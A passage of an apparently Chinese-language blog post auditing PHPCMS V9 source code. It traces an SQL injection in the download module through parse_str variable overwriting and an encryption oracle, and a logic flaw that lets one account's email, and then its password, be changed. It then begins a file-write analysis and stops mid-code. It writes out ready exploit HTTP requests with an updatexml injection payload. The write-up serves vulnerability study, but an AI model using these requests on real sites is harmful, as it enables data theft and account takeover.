控制器对应的php模板文件</span><br><span class="hljs-variable">$compiledtplfile</span> = PHPCMS_PATH.<span class="hljs-string">'caches'</span>.DIRECTORY_SEPARATOR.<span class="hljs-string">'caches_template'</span>.DIRECTORY_SEPARATOR.<span class="hljs-variable">$style</span>.DIRECTORY_SEPARATOR.<span class="hljs-variable">$module</span>.DIRECTORY_SEPARATOR.<span class="hljs-variable">$template</span>.<span class="hljs-string">'.php'</span>;<br> <span class="hljs-keyword">if</span>(……) <span class="hljs-comment">// 如果php模板文件不存在,可以使用html模板编译成php模板,具体方法不细看 </span><br> <span class="hljs-variable">$template_cache</span>->template_compile(<span class="hljs-variable">$module</span>, <span class="hljs-variable">$template</span>, <span class="hljs-variable">$style</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$compiledtplfile</span>;<br></code></pre></td></tr></table></figure><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>app对象根据m,c,a参数找到并加载 <code>phpcms/modules/content/index.php</code> 文件后,会实例化其中的控制器对象,控制器中会加载数据模型和视图。phpcms已具有了明显的MVC模式,能明显感受到的是 PHPCMS V9 在框架上相比于其他CMS成熟了不少</p><h1 id="0x02-漏洞审计"><a href="#0x02-漏洞审计" class="headerlink" title="0x02 漏洞审计"></a>0x02 漏洞审计</h1><h2 id="sql注入"><a href="#sql注入" class="headerlink" title="sql注入"></a>sql注入</h2><p>上面已经知道 phpcms 会使用 <code>addslases()</code> 来全局过滤GPC数据,可以很好的防御在sql语句中使用引号包裹的变量</p><h3 id="代码分析"><a href="#代码分析" class="headerlink" title="代码分析"></a>代码分析</h3><blockquote><p>phpcms/modules/content/down.php</p></blockquote><p>通过<strong>Seay代码审计系统</strong>扫描结果是显示该文件只存在一个变量覆盖的问题,仔细一看,通过变量覆盖还可以造成SQL注入,下面仔细研究一下</p><ul><li><code>$id</code> 将通过 <code>db->get_one()</code> 执行sql查询</li><li>可以注意到当 <code>isset($i)==true</code> 时,<code>$id=intval($i)</code>,这里 <code>$id</code> 会被强制转换成数字类型</li><li>但巧在这里存在一个 <code>parse_str($a_k)</code>,如果 <code>$a_k</code> 可控,便可以通过覆盖变量控制 <code>$i</code> 和 <code>$id</code> 的值,绕过 <code>intval()</code> 转换</li><li><code>$a_k</code> 来自 <code>$_GET['a_k']</code>,可控,但我们知道全局会对GPC参数addslashs()过滤。这里 <code>$a_k</code> 传入 <code>parse_str()</code> 前,还会经过 <code>sys_auth($operation='DECODE')</code> 方法解密,巧了,这里解密操作证明 <code>$a_k</code> 本来是加密字符串,加密字符串岂不是又可能会绕过全局 addslashs() 过滤,那我们现在只需要构造加密的 payload 就可以利用这个漏洞了</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">down</span> </span>{<br><span class="hljs-keyword">private</span> <span class="hljs-variable">$db</span>;<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>) </span>{<br><span class="hljs-keyword">$this</span>->db = pc_base::load_model(<span class="hljs-string">'content_model'</span>);<br>}<br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">init</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-variable">$a_k</span> = trim(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'a_k'</span>]);<br> <span class="hljs-variable">$a_k</span> = sys_auth(<span class="hljs-variable">$a_k</span>, <span class="hljs-string">'DECODE'</span>, pc_base::load_config(<span class="hljs-string">'system'</span>,<span class="hljs-string">'auth_key'</span>));<br> <span class="hljs-keyword">unset</span>(<span class="hljs-variable">$i</span>,<span class="hljs-variable">$m</span>,<span class="hljs-variable">$f</span>);<br> parse_str(<span class="hljs-variable">$a_k</span>);<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$i</span>)) <span class="hljs-variable">$i</span> = <span class="hljs-variable">$id</span> = intval(<span class="hljs-variable">$i</span>);<br> <span class="hljs-variable">$rs</span> = <span class="hljs-keyword">$this</span>->db->get_one(<span class="hljs-keyword">array</span>(<span class="hljs-string">'id'</span>=><span class="hljs-variable">$id</span>));<br> ……<br> }<br></code></pre></td></tr></table></figure><h3 id="加密payload"><a href="#加密payload" class="headerlink" title="加密payload"></a>加密payload</h3><blockquote><p>phpcms/libs/functions/global.func.php</p></blockquote><p><code>sys_auth($string,$operation)</code> 是一个加密解密函数,加密算法比较复杂就不研究了,需要知道的是当 <code>$operation=='DECODE'</code>,传入的值会被解密,<code>$operation=='ENCODE'</code> 时,传入的值会被加密。现在我们需要将我们的 payload 加密,被上面的代码解密后才能利用漏洞</p><p>在看 <code>sys_auth()</code> 代码时发现在加密解密过程中会使用一个密钥,密钥来自配置文件中 <code>auth_key</code> 的值,每个PHPCMS程序的 <code>auth_key</code> 值不同,我们想控制加密内容一是获取程序的<code>auth_key</code>值,然后复制程序的加密算法,加密我们的payload;或者我们在程序中寻找提供 <code>sys_auth()</code> 加密的功能,借用程序的功能加密我们的payload</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sys_auth</span>(<span class="hljs-params"><span class="hljs-variable">$string</span>, <span class="hljs-variable">$operation</span> = <span class="hljs-string">'ENCODE'</span>, <span class="hljs-variable">$key</span> = <span class="hljs-string">''</span>, <span class="hljs-variable">$expiry</span> = <span class="hljs-number">0</span></span>) </span>{<br> <span class="hljs-variable">$ckey_length</span> = <span class="hljs-number">4</span>;<br> <span class="hljs-variable">$key</span> = md5(<span class="hljs-variable">$key</span> != <span class="hljs-string">''</span> ? <span class="hljs-variable">$key</span> : pc_base::load_config(<span class="hljs-string">'system'</span>, <span class="hljs-string">'auth_key'</span>));<br> ……<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$operation</span> == <span class="hljs-string">'DECODE'</span>) {<br> <span class="hljs-keyword">if</span>((substr(<span class="hljs-variable">$result</span>, <span class="hljs-number">0</span>, <span class="hljs-number">10</span>) == <span class="hljs-number">0</span> || substr(<span class="hljs-variable">$result</span>, <span class="hljs-number">0</span>, <span class="hljs-number">10</span>) - time() > <span class="hljs-number">0</span>) && substr(<span class="hljs-variable">$result</span>, <span class="hljs-number">10</span>, <span class="hljs-number">16</span>) == substr(md5(substr(<span class="hljs-variable">$result</span>, <span class="hljs-number">26</span>).<span class="hljs-variable">$keyb</span>), <span class="hljs-number">0</span>, <span class="hljs-number">16</span>)) {<br> <span class="hljs-keyword">return</span> substr(<span class="hljs-variable">$result</span>, <span class="hljs-number">26</span>);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-string">''</span>;<br> }<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$keyc</span>.rtrim(strtr(base64_encode(<span class="hljs-variable">$result</span>), <span class="hljs-string">'+/'</span>, <span class="hljs-string">'-_'</span>), <span class="hljs-string">'='</span>);<br> }<br>}<br></code></pre></td></tr></table></figure><p>寻找程序中使用 <code>sys_auth()</code> 加密的地方又是一个复杂的过程,具体参考大佬 <a href="https://mochazz.github.io/">https://mochazz.github.io/</a> 的相关博客,下面我只简单记录下过程</p><p>在 param.class.php 中找到 sys_auth() 可控,代码如下 </p><blockquote><p>phpcms/libs/classes/param.class.php</p></blockquote><ul><li>set_cookie() 传入参数 $var, $value</li><li>$value 的值会通过 sys_auth 加密,并以cookie的形式发送客户端,利用这个功能点可以很好的加密payload</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">param</span> </span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">set_cookie</span>(<span class="hljs-params"><span class="hljs-variable">$var</span>, <span class="hljs-variable">$value</span> = <span class="hljs-string">''</span>, <span class="hljs-variable">$time</span> = <span class="hljs-number">0</span></span>) </span>{<br> <span class="hljs-variable">$time</span> = <span class="hljs-variable">$time</span> > <span class="hljs-number">0</span> ? <span class="hljs-variable">$time</span> : (<span class="hljs-variable">$value</span> == <span class="hljs-string">''</span> ? SYS_TIME - <span class="hljs-number">3600</span> : <span class="hljs-number">0</span>);<br> <span class="hljs-variable">$s</span> = <span class="hljs-variable">$_SERVER</span>[<span class="hljs-string">'SERVER_PORT'</span>] == <span class="hljs-string">'443'</span> ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>;<br> <span class="hljs-variable">$var</span> = pc_base::load_config(<span class="hljs-string">'system'</span>,<span class="hljs-string">'cookie_pre'</span>).<span class="hljs-variable">$var</span>;<br> <span class="hljs-variable">$_COOKIE</span>[<span class="hljs-variable">$var</span>] = <span class="hljs-variable">$value</span>;<br> <span class="hljs-keyword">if</span> (is_array(<span class="hljs-variable">$value</span>)) {<br> <span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$value</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$k</span>=><span class="hljs-variable">$v</span>) {<br> setcookie(<span class="hljs-variable">$var</span>.<span class="hljs-string">'['</span>.<span class="hljs-variable">$k</span>.<span class="hljs-string">']'</span>, sys_auth(<span class="hljs-variable">$v</span>, <span class="hljs-string">'ENCODE'</span>), <span class="hljs-variable">$time</span>, pc_base::load_config(<span class="hljs-string">'system'</span>,<span class="hljs-string">'cookie_path'</span>), pc_base::load_config(<span class="hljs-string">'system'</span>,<span class="hljs-string">'cookie_domain'</span>), <span class="hljs-variable">$s</span>);<br> }<br> } <span class="hljs-keyword">else</span> {<br> setcookie(<span class="hljs-variable">$var</span>, sys_auth(<span class="hljs-variable">$value</span>, <span class="hljs-string">'ENCODE'</span>), <span class="hljs-variable">$time</span>, pc_base::load_config(<span class="hljs-string">'system'</span>,<span class="hljs-string">'cookie_path'</span>), pc_base::load_config(<span class="hljs-string">'system'</span>,<span class="hljs-string">'cookie_domain'</span>), <span class="hljs-variable">$s</span>);<br> }<br> }<br></code></pre></td></tr></table></figure><p>下面继续寻找 set_cookie() 的可控利用</p><blockquote><p>phpcms/modules/attachment/attachments.php</p></blockquote><ul><li>attachments 类的 swfupload_json() 方法具有可控的 set_cookie() ,但 attachments 类的构造方法中有一个登录验证,验证条件是具有一个可sys_auth()解密值,其实可以在 phpcms/modules/wap/index.php 中获取到这样的值绕过登录,该文件的代码这里就不研究了</li><li><code>set_cookie($var, $value, $time)</code> 的 <code>$value</code> 在 <code>upload_json()</code> 中为 <code>$json_str</code>,通过 <code>$_GET['src']</code> 可控</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">attachments</span> </span>{<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$att_db</span>;<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>) </span>{<br> pc_base::load_app_func(<span class="hljs-string">'global'</span>);<br> <span class="hljs-keyword">$this</span>->userid = <span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'userid'</span>] ? <span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'userid'</span>] : (param::get_cookie(<span class="hljs-string">'_userid'</span>) ? param::get_cookie(<span class="hljs-string">'_userid'</span>) : sys_auth(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'userid_flash'</span>],<span class="hljs-string">'DECODE'</span>));<br> <span class="hljs-comment">//判断是否登录</span><br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>(<span class="hljs-keyword">$this</span>->userid)){<br> showmessage(L(<span class="hljs-string">'please_login'</span>,<span class="hljs-string">''</span>,<span class="hljs-string">'member'</span>));<br> }<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">swfupload_json</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-variable">$arr</span>[<span class="hljs-string">'aid'</span>] = intval(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'aid'</span>]);<br> <span class="hljs-variable">$arr</span>[<span class="hljs-string">'src'</span>] = safe_replace(trim(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'src'</span>]));<br> <span class="hljs-variable">$arr</span>[<span class="hljs-string">'filename'</span>] = urlencode(safe_replace(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'filename'</span>]));<br> <span class="hljs-variable">$json_str</span> = json_encode(<span class="hljs-variable">$arr</span>);<br> <span class="hljs-variable">$att_arr_exist</span> = param::get_cookie(<span class="hljs-string">'att_json'</span>);<br> <span class="hljs-variable">$att_arr_exist_tmp</span> = explode(<span class="hljs-string">'||'</span>, <span class="hljs-variable">$att_arr_exist</span>);<br> <span class="hljs-keyword">if</span>(is_array(<span class="hljs-variable">$att_arr_exist_tmp</span>) && in_array(<span class="hljs-variable">$json_str</span>, <span class="hljs-variable">$att_arr_exist_tmp</span>)) {<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable">$json_str</span> = <span class="hljs-variable">$att_arr_exist</span> ? <span class="hljs-variable">$att_arr_exist</span>.<span class="hljs-string">'||'</span>.<span class="hljs-variable">$json_str</span> : <span class="hljs-variable">$json_str</span>;<br> param::set_cookie(<span class="hljs-string">'att_json'</span>,<span class="hljs-variable">$json_str</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;<br> }<br>}<br></code></pre></td></tr></table></figure><p>注意<code>$_GET['src']</code>会经过 <code>safe_replace()</code> 过滤,这里过滤时一次性的,也很好绕过</p><img src="img/phpcms/image-20210816123309263.png" alt="image-20210816123309263" style="zoom:50%;" /><p>通过上面的分析可能会有点绕,但大体清楚了我们其实可以在前台获取到加密的payload,下面将来正向利用一下</p><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>为了梳理逻辑,先画一下流程图</p><img src="img/phpcms/1.png" alt="1" style="zoom:80%;" /><p>1)获取用户认证id</p><figure class="highlight sas"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sas">GET /<span class="hljs-meta">index</span>.php?m=wap<span class="hljs-variable">&c</span>=<span class="hljs-meta">index</span><span class="hljs-variable">&a</span>=init<span class="hljs-variable">&siteid</span>=1 <br></code></pre></td></tr></table></figure><p>发送poc后,可以在cookie中获取一个<code>sys_auth()</code>加密的siteid值</p><img src="img/phpcms/image-20210816145114580.png" alt="image-20210816145114580" style="zoom:50%;" /><p>2)获取加密payload</p><p>构造payload的过程十分关键,考虑的条件比较多,需要十分细心,这里还有以下几个要点要注意下</p><ul><li>我们要使用 <code>&</code> 等符号构造payload,因为parse_str()通过 <code>&</code> 来解析变量,在url中要对特殊符号编码</li><li>这里对单引号做了url编码为<code>%*27</code>,目的是绕过全局addslashs()过滤,这里记录一个知识点,==parse_str()在解析字符串时会自动url解码==,所以<code>%*27</code>被safe_replace()过滤为<code>%27</code>,在parse_str()中最终解析为单引号 <code>'</code>注入到数据库从而引发sql注入</li></ul><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D%*27%20and%20updatexml(1%2Cconcat(1%2C(user()))%2C1)%23%26m%3D1%26modelid%3D2%26f%3D3%26catid%3D4</span> <span class="hljs-meta">HTTP/1.1</span><br><br><span class="apache"><span class="hljs-attribute">userid_flash</span>=b<span class="hljs-number">899</span>lJoDFE<span class="hljs-number">29</span>t<span class="hljs-number">7</span>SOemtSwDaOZMoD<span class="hljs-number">2</span>Fbr-Le<span class="hljs-number">6</span>AHJK</span><br></code></pre></td></tr></table></figure><img src="img/phpcms/image-20210816152241887.png" alt="image-20210816152241887" style="zoom:50%;" /><p>3)发送payload</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/index.php?m=content&c=down&a=init&a_k=f28d6EbHk-z-GPWT_BO5vtYwicatFNGnKrJe4afAjmGAjLx3h8HJi1-MHOO4fSjZXfg4mTiE8AQphhuGMbY85caXo5r3We6E0Izb52GXqr3LBgfQvqeHYcaPoEMWGai0osZ5HkS1dYZ94aQx2bnf32D8isXRc6_6fOgptzngztLPpXu6lQ</span> <span class="hljs-meta">HTTP/1.1</span><br></code></pre></td></tr></table></figure><img src="img/phpcms/image-20210816153023365.png" alt="image-20210816153023365" style="zoom:50%;" /><h2 id="任意邮箱修改"><a href="#任意邮箱修改" class="headerlink" title="任意邮箱修改"></a>任意邮箱修改</h2><p>参考:<a href="https://www.cnblogs.com/yangxiaodi/p/6890298.html">https://www.cnblogs.com/yangxiaodi/p/6890298.html</a> 这个漏洞应该是误判,忽略了身份验证的代码。不过mysql中字符串数据转整数数据的知识点还是值得学习学习</p><p>这相当于一个逻辑漏洞,在审计这种漏洞时,需要对程序的逻辑十分清楚,我习惯画一个流程图来梳理逻辑</p><blockquote><p>phpcms/modules/member/index.php</p></blockquote><ul><li><p><code>$_username</code>、<code>$_userid</code> 、<code>$ssouid</code> 来自于get_cookie(),这一个获取并解密cookie值的函数,如果要控制这几个参数,我们需要能获取对应的加密值</p></li><li><p>然后会进入 <strong>send_newmail()</strong> 中唯一关键的身份认证,验证userid和username是否匹配,我看有人挖到的漏洞没有这几行代码。从而造成漏洞。但这几行代码存在的话将,我认为漏洞也就很难利用了。如果想通过认证,必须要知道userid和username的对应关系,然后需要知道指定的userid和username加密值。这两个条件似乎都不太好搞。下面是认为这几行代码不存时产生的漏洞</p></li><li><p><code>$neweamil</code> 代码要修改的新邮箱,可控。会经过 <strong>ps_checkemail()</strong> 方法检测 <code>$neweamil</code> 在数据库member表中的情况,如果<code>$neweamil</code> 在member表中不存在,则**ps_checkemail()<strong>返回1,代表这个新邮箱可用;如果 <code>$neweamil</code> 在member表中存在,则</strong>ps_checkemail()**返回-1,代表新邮箱地址被占用,需要进一步判断</p></li><li><p><code>$neweamil</code> 通过验证后,就会进入修改用户邮箱的环节,前提是sendmail()发送邮箱成功,本地测试为了方便没有配置邮箱,而是修改了程序代码,保证代码正常执行</p></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">send_newmail</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-variable">$_username</span> = param::get_cookie(<span class="hljs-string">'_regusername'</span>);<br><span class="hljs-variable">$_userid</span> = param::get_cookie(<span class="hljs-string">'_reguserid'</span>);<br><span class="hljs-variable">$_ssouid</span> = param::get_cookie(<span class="hljs-string">'_reguseruid'</span>);<br><span class="hljs-variable">$newemail</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'newemail'</span>];<br> <br> <span class="hljs-comment">//验证userid和username是否匹配</span><br><span class="hljs-variable">$r</span> = <span class="hljs-keyword">$this</span>->db->get_one(<span class="hljs-keyword">array</span>(<span class="hljs-string">'userid'</span>=>intval(<span class="hljs-variable">$_userid</span>)));<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$r</span>[username]!=<span class="hljs-variable">$_username</span>){<br><span class="hljs-keyword">return</span> <span class="hljs-string">'2'</span>;<br>}<br> <br> <span class="hljs-comment">// 检测$newmail是否为唯一的新的邮箱</span><br> <span class="hljs-keyword">$this</span>->_init_phpsso();<br><span class="hljs-variable">$status</span> = <span class="hljs-keyword">$this</span>->client->ps_checkemail(<span class="hljs-variable">$newemail</span>);<br> <br> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$status</span>==-<span class="hljs-number">1</span>) {}<br> <br> <span class="hljs-keyword">if</span>(sendmail(<span class="hljs-variable">$newemail</span>, L(<span class="hljs-string">'reg_verify_email'</span>), <span class="hljs-variable">$message</span>)){<br><span class="hljs-comment">//更新新的邮箱,用来验证</span><br> <span class="hljs-keyword">$this</span>->db->update(<span class="hljs-keyword">array</span>(<span class="hljs-string">'email'</span>=><span class="hljs-variable">$newemail</span>), <span class="hljs-keyword">array</span>(<span class="hljs-string">'userid'</span>=><span class="hljs-variable">$_userid</span>));<br><span class="hljs-keyword">$this</span>->client->ps_member_edit(<span class="hljs-variable">$_username</span>, <span class="hljs-variable">$newemail</span>, <span class="hljs-string">''</span>, <span class="hljs-string">''</span>, <span class="hljs-variable">$_ssouid</span>);<br><span class="hljs-variable">$return</span> = <span class="hljs-string">'1'</span>;<br>}<span class="hljs-keyword">else</span>{<br><span class="hljs-variable">$return</span> = <span class="hljs-string">'2'</span>;<br>}<br></code></pre></td></tr></table></figure><p>漏洞利用:</p><p>1)注册一个名为 <code>1jelly</code> 的用户</p><p>在cookie中获取到加密值</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">cIFPl__username</span>=<span class="hljs-number">8</span>d<span class="hljs-number">00</span>IEf<span class="hljs-number">52</span>ee<span class="hljs-number">17</span>nwPcUSvKfVhc<span class="hljs-number">9</span>OxLqdNZ<span class="hljs-number">7</span>n<span class="hljs-number">0</span>kpGFuSEMRSE;<br><span class="hljs-attribute">cIFPl__userid</span>=<span class="hljs-number">5</span>caaEyjeO_LOuhAb<span class="hljs-number">7</span>YF<span class="hljs-number">4</span>_<span class="hljs-number">7</span>-fexyHawM<span class="hljs-number">0</span>lvENOK<span class="hljs-number">2</span>W; <br></code></pre></td></tr></table></figure><p>2)把username的加密值放到cookie中作为userid发送</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">cIFPl__userid</span>=<span class="hljs-number">8</span>d<span class="hljs-number">00</span>IEf<span class="hljs-number">52</span>ee<span class="hljs-number">17</span>nwPcUSvKfVhc<span class="hljs-number">9</span>OxLqdNZ<span class="hljs-number">7</span>n<span class="hljs-number">0</span>kpGFuSEMRSE<br></code></pre></td></tr></table></figure><p>这样userid在解密时值为 1jelly,最后执行的sql语句为:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">UPDATE `phpcmsv9`.`v9_member` <span class="hljs-keyword">SET</span> `email`<span class="hljs-operator">=</span><span class="hljs-string">'[email protected]'</span> <span class="hljs-keyword">WHERE</span> `userid` <span class="hljs-operator">=</span> <span class="hljs-string">'1jelly'</span><br></code></pre></td></tr></table></figure><p>这里也有一个小知识点,虽然userid在数据库中是1jelly,但mysql会自动转换1jellly为整数1,这样userid为1的用户邮箱就被获取了,在phpcms可以通过邮箱修改密码,这个漏洞最终将导致任意密码修改</p><h2 id="任意文件写入漏洞"><a href="#任意文件写入漏洞" class="headerlink" title="任意文件写入漏洞"></a>任意文件写入漏洞</h2><blockquote><p>phpcms/modules/member/index.php</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">register</span>(<span class="hljs-params"></span>) </span>{<br> <span class="hljs-comment">//加载用户模块配置,$member_setting['choosemodel']=1</span><br><span class="hljs-variable">$member_setting</span> = getcache(<span class="hljs-string">'member_setting'</span>);<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'dosubmit'</span>])) {<br> <span class="hljs-variable">$userinfo</span>[<span class="hljs-string">'modelid'</span>] = <span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'modelid'</span>]) ? intval(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'modelid'</span>]) : <span class="hljs-number">10</span>;<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$member_setting</span>[<span class="hljs-string">'choosemodel'</span>]) {<br><span class="hljs-variable">$member_input</span> = <span class="hljs-keyword">new</span> member_input(<span class="hljs-variable">$userinfo</span>[<span class="hljs-string">'modelid'</span>]);<br><span class="hljs-variable">$user_model_info</span> = <span class="hljs-variable">$member_input</span>->get(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'info'</span>]); <br>}<br> ……<br></code></pre></td></tr></table></figure><blockquote><p>caches/caches_model/caches_data/member_input.class.php</p></blockquote><p>get()方法中有一个通过 $func() 调用类中的其他方法,而 $func 最终来自 <code>model_field_$_POST['modelid'].cache.php</code> 中 <code>$field['formtype']</code>,翻了一下对应文件,包含了当前类的所有方法,所以通过get()方法可以调用当前类的任意方法</p><p>而 member_input 类中就 editor() 方法可以利用,其中又调用了download() 方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">member_input</span> </span>{<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$modelid</span></span>) </span>{<br> <span class="hljs-keyword">$this</span>->db = pc_base::load_model(<span class="hljs-string">'sitemodel_field_model'</span>);<br> <span class="hljs-comment">//来源:caches/caches_model/caches_data/model_field_$modelid.cache.php,$modelid==$_POST['modelid']</span><br> <span class="hljs-keyword">$this</span>->fields = getcache(<span class="hljs-string">'model_field_'</span>.<span class="hljs-variable">$modelid</span>,<span class="hljs-string">'model'</span>);<br> pc_base::load_sys_class(<span class="hljs-string">'attachment'</span>,<span class="hljs-string">''</span>,<span class="hljs-number">0</span>);<br> <span class="hljs-keyword">$this</span>->attachment = <span class="hljs-keyword">new</span> attachment(<span class="hljs-string">'content'</span>,<span class="hljs-string">'0'</span>,<span class="hljs-keyword">$this</span>->siteid);<br> }<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">get</span>(<span class="hljs-params"><span class="hljs-variable">$data</span></span>) </span>{<br> <span class="hljs-keyword">if</span>(is_array(<span class="hljs-variable">$data</span>)) {<br> <span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$data</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$field</span>=><span class="hljs-variable">$value</span>) {<br> <span class="hljs-variable">$func</span> = <span class="hljs-keyword">$this</span>->fields[<span class="hljs-variable">$field</span>][<span class="hljs-string">'formtype'</span>];<br> <span class="hljs-comment">// $func 